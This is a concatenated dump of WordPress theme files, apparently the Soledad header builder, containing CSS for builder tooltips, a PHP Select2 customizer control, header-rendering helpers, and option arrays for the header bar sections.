.header-builder-mobile .header-builder-top .header-column-option-tooltip > div {
	width: 100%;
}

.header-column-option-tooltip > div h3 {
	background: var(--wp-admin-theme-color);
	margin: 0;
	color: #fff;
	padding: 6px 0;
	font-size: 13px;
}

.header-builder-column.active .header-column-option-tooltip {
	opacity: 1;
	visibility: visible;
	margin-bottom: 6px;
}

.header-column-option-tooltip ul {
	padding: 7px 5px;
	margin: 0;
}

.header-column-option-tooltip li {
	display: inline-block;
	margin: 0;
	padding: 2px 8px;
	cursor: pointer;
	background: #fff;
	color: #000;
	border: 1px solid transparent;
}

.header-column-option-tooltip li.active {
	border-color: #adadad;
}

.header-column-option-tooltip::after {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 0 8px 8px 8px;
	border-color: transparent transparent var(--wp-admin-theme-color);
	right: 8px;
	top: -7px;
	z-index: 100;
}

.header-builder-left .header-column-option-tooltip:after,
.header-builder-left.normal
	~ .header-builder-center.normal
	.header-column-option-tooltip:after {
	left: 8px;
	right: auto;
}PK     /w\L6    %  builder/customizer/builder_helper.phpnu [        <?php
if ( ! function_exists( 'penci_header_default' ) ) {
	function penci_header_default( $option ) {
		$default = '';

		switch ( $option ) {

			/** DISPLAY */
			case 'desktop_display_top_left':
			case 'desktop_display_mid_right':
			case 'desktop_display_bottom_left':
			case 'sticky_display_mid_left':
			case 'mobile_display_mid_center':
				$default = 'grow';
				break;
			case 'desktop_display_top_center':
			case 'desktop_display_top_right':
			case 'desktop_display_mid_left':
			case 'desktop_display_mid_center':
			case 'desktop_display_bottom_center':
			case 'desktop_display_bottom_right':
			case 'sticky_display_mid_center':
			case 'sticky_display_mid_right':
			case 'mobile_display_mid_left':
			case 'mobile_display_mid_right':
				$default = 'normal';
				break;
		}

		return $default;
	}
}


function penci_builder_menu_list() {
	$menu_list = [ '' => '' ];
	$menus     = wp_get_nav_menus();
	if ( ! empty( $menus ) ) {
		foreach ( $menus as $menu ) {
			$menu_list[ $menu->slug ] = $menu->name;
		}
	}

	return $menu_list;
}

if ( ! function_exists( 'penci_can_render_header' ) ) {
	function penci_can_render_header( $device, $row ) {
		$columns    = array();
		$can_render = false;

		if ( $device === 'desktop' || $device === 'desktop_sticky' ) {
			$columns = array( 'left', 'center', 'right' );
		}

		if ( $device === 'mobile' ) {
			$columns = array( 'left', 'center', 'right' );
		}

		foreach ( $columns as $column ) {


			$setting_element = "penci_hb_element_{$device}_{$row}_{$column}";
			$default_element = penci_get_builder_mod( $setting_element );
			$default_element = ! empty( $default_element ) ? explode( ',', $default_element ) : $default_element;


			if ( ! empty( $default_element ) && is_array( $default_element ) ) {
				$can_render = true;
				break;
			}
		}

		return $can_render;
	}
}

function penci_hb_element_desktop_top_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-top.php' );
}

function penci_hb_element_desktop_topblock_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-topblock.php' );
}

function penci_hb_element_desktop_mid_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-mid.php' );
}

function penci_hb_element_desktop_bottom_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-bottom.php' );
}

function penci_hb_element_desktop_bottomblock_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-bottomblock.php' );
}

function penci_hb_element_mobile_top_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/mobile-top.php' );
}

function penci_hb_element_mobile_mid_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/mobile-mid.php' );
}

function penci_hb_element_mobile_bottom_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/mobile-bottom.php' );
}

function penci_hb_element_desktop_sticky_top_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-sticky-top.php' );
}

function penci_hb_element_desktop_sticky_mid_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-sticky-mid.php' );
}

function penci_hb_element_desktop_sticky_bottom_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-sticky-bottom.php' );
}
PK     /w\*      builder/customizer/select2.phpnu [        <?php

class Penci_Dropdown_Select2_Custom_Control extends WP_Customize_Control {
	/**
	 * The type of control being rendered
	 */
	public $type = 'dropdown_select2';
	/**
	 * The type of Select2 Dropwdown to display. Can be either a single select dropdown or a multi-select dropdown. Either false for true. Default = false
	 */
	private $multiselect = false;
	/**
	 * The Placeholder value to display. Select2 requires a Placeholder value to be set when using the clearall option. Default = 'Please select...'
	 */
	private $placeholder = 'Please select...';

	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
		// Check if this is a multi-select field
		if ( isset( $this->input_attrs['multiselect'] ) && $this->input_attrs['multiselect'] ) {
			$this->multiselect = true;
		}
		// Check if a placeholder string has been specified
		if ( isset( $this->input_attrs['placeholder'] ) && $this->input_attrs['placeholder'] ) {
			$this->placeholder = $this->input_attrs['placeholder'];
		}
	}

	/**
	 * Enqueue our scripts and styles
	 */
	public function enqueue() {
		wp_enqueue_script( 'popper', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/popper.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-customizer-tippy', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/tippy-bundle.umd.min.js', array( 'popper' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-select2-js', PENCI_SOLEDAD_URL . '/inc/customizer/js/select2.full.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-custom-controls-js', PENCI_SOLEDAD_URL . '/inc/customizer/js/customizer.js', array( 'penci-select2-js' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_style( 'penci-custom-controls-css', PENCI_SOLEDAD_URL . '/inc/customizer/css/customizer.css', array(), PENCI_SOLEDAD_VERSION, 'all' );
		wp_enqueue_style( 'penci-select2-css', PENCI_SOLEDAD_URL . '/inc/customizer/css/select2.min.css', array(), PENCI_SOLEDAD_VERSION, 'all' );
	}

	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		$defaultValue = $this->value();
		if ( $this->multiselect && ! is_array( $defaultValue ) ) {
			$defaultValue = explode( ',', $this->value() );
		}
		?>
        <div class="dropdown_select2_control">
			<?php if ( ! empty( $this->label ) ) { ?>
                <label for="<?php echo esc_attr( $this->id ); ?>" class="customize-control-title">
					<?php echo esc_html( $this->label ); ?>
                </label>
			<?php } ?>
			<?php if ( ! empty( $this->description ) ) { ?>
                <span class="customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php } ?>
            <input type="hidden" id="<?php echo esc_attr( $this->id ); ?>" class="customize-control-dropdown-select2"
                   value="<?php echo is_array( $this->value() ) ? implode( ',', $this->value() ) : $this->value(); ?>"
                   name="<?php echo esc_attr( $this->id ); ?>" <?php $this->link(); ?> />
            <select name="select2-list-<?php echo( $this->multiselect ? 'multi[]' : 'single' ); ?>"
                    class="customize-control-select2"
                    data-placeholder="<?php echo $this->placeholder; ?>" <?php echo( $this->multiselect ? 'multiple="multiple" ' : '' ); ?>>
				<?php
				if ( ! $this->multiselect ) {
					// When using Select2 for single selection, the Placeholder needs an empty <option> at the top of the list for it to work (multi-selects dont need this)
					echo '<option></option>';
				}
				foreach ( $this->choices as $key => $value ) {
					if ( is_array( $value ) ) {
						echo '<optgroup label="' . esc_attr( $key ) . '">';
						foreach ( $value as $optgroupkey => $optgroupvalue ) {
							if ( $this->multiselect ) {
								echo '<option value="' . esc_attr( $optgroupkey ) . '" ' . ( in_array( esc_attr( $optgroupkey ), $defaultValue ) ? 'selected="selected"' : '' ) . '>' . esc_attr( $optgroupvalue ) . '</option>';
							} else {
								echo '<option value="' . esc_attr( $optgroupkey ) . '" ' . selected( esc_attr( $optgroupkey ), $defaultValue, false ) . '>' . esc_attr( $optgroupvalue ) . '</option>';
							}
						}
						echo '</optgroup>';
					} else {
						if ( $this->multiselect ) {
							echo '<option value="' . esc_attr( $key ) . '" ' . ( in_array( esc_attr( $key ), $defaultValue ) ? 'selected="selected"' : '' ) . '>' . esc_attr( $value ) . '</option>';
						} else {
							echo '<option value="' . esc_attr( $key ) . '" ' . selected( esc_attr( $key ), $defaultValue, false ) . '>' . esc_attr( $value ) . '</option>';
						}
					}
				}
				?>
            </select>
        </div>
		<?php
	}
}
PK     /w\Ƈa    C  builder/customizer/sections/penci_header_desktop_option_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => "penci_header_overlap_setting",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Transparent Header( Overlap Header )', 'soledad' ),
);
$options[] = array(
	'id'       => "penci_header_wrap_all",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Boxed Header ?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_shadow",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'     => __( 'Enable Header Shadow ?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_wrap_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'container-normal' => '1170px',
		'container-1400'   => '1400px',
		'container-custom' => 'Custom Width',
	],
	'label'     => __( 'Select Width for Boxed Header', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_wrap_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Boxed Header Custom Width', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_wrap_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_wrap_lr_spc",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Boxed Header Left/Right Margin', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_wrap_lr_spc",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_spacing_setting',
	'type'      => 'soledad-fw-box-model',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_border_style',
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

return $options;
PK     /w\SP    K  builder/customizer/sections/penci_header_bottomblockbar_setting_section.phpnu [        <?php
$area          = 'bottomblock';
$name          = 'Bottom Block';
$area_settings = $area . 'bar';
$default_width = 'container-fullwidth';
$section_name  = "penci_header_{$area_settings}_setting_section";
/* Section Settings */
$options   = [];
$options[] = array(
	'id'       => "penci_header_{$area}_content_direction",
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => $name . __( ' Content Direction', 'soledad' ),
	'choices'  => [
		'row'     => 'Row',
		'columns' => 'Columns',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\g    C  builder/customizer/sections/penci_header_midbar_setting_section.phpnu [        <?php
$area          = 'midbar';
$name          = 'Middle Bar';
$area_settings = $area;
$default_width = 'container-normal';
$section_name  = "penci_header_{$area_settings}_setting_section";

/* Section Settings */
$options   = [];
$options[] = array(
	'id'              => "penci_header_{$area}_middle_column",
	'default'         => 'disable',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	'label'           => __( 'Middle Column Position', 'soledad' ),
	'section'         => $section_name,
	'choices'         => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	],
	'partial_refresh' => [
		"penci_header_{$area}_middle_column" => [
			'selector'        => '.penci-desktop-midbar',
			'render_callback' => 'penci_hb_element_desktop_' . str_replace( 'bar', '', $area ) . '_preview_render',
		],
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'section'   => $section_name,
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'section'   => $section_name,
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     /w\}E    B  builder/customizer/sections/penci_header_mobile_option_section.phpnu [        <?php
/* Mobile Control */
$options   = [];
$options[] = array(
	'id'                => 'penci_header_mobile_sticky_shadow',
	'default'           => 'disable',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'label'             => esc_attr__( 'Enable Sticky Shadow ?', 'soledad' ),
	'section'           => 'penci_header_mobile_option_section',
	'type'              => 'soledad-fw-select',
	'choices'           => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'                => 'penci_header_mobile_sticky_hide_down',
	'default'           => 'disable',
	'sanitize_callback' => 'penci_sanitize_choices_field',
	'label'             => esc_attr__( 'Hide When Scrolling Down', 'soledad' ),
	'section'           => 'penci_header_mobile_option_section',
	'type'              => 'soledad-fw-select',
	'choices'           => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);

$options[] = array(
	'id'       => "penci_header_mobile_overlap_setting",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Transparent Header( Overlap Mobile Header )', 'soledad' ),
);

return $options;
PK     /w\x    F  builder/customizer/sections/penci_header_bottombar_setting_section.phpnu [        <?php
$area          = 'bottombar';
$name          = 'Bottom Bar';
$area_settings = $area;
$default_width = 'container-normal';
$section_name  = "penci_header_{$area_settings}_setting_section";

/* Section Settings */
$options   = [];
$options[] = array(
	'id'              => "penci_header_{$area}_middle_column",
	'default'         => 'disable',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	'label'           => __( 'Middle Column Position', 'soledad' ),
	'section'         => $section_name,
	'choices'         => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	],
	'partial_refresh' => [
		"penci_header_{$area}_middle_column" => [
			'selector'        => '.penci-desktop-bottombar',
			'render_callback' => 'penci_hb_element_desktop_' . str_replace( 'bar', '', $area ) . '_preview_render',
		],
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'section'   => $section_name,
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
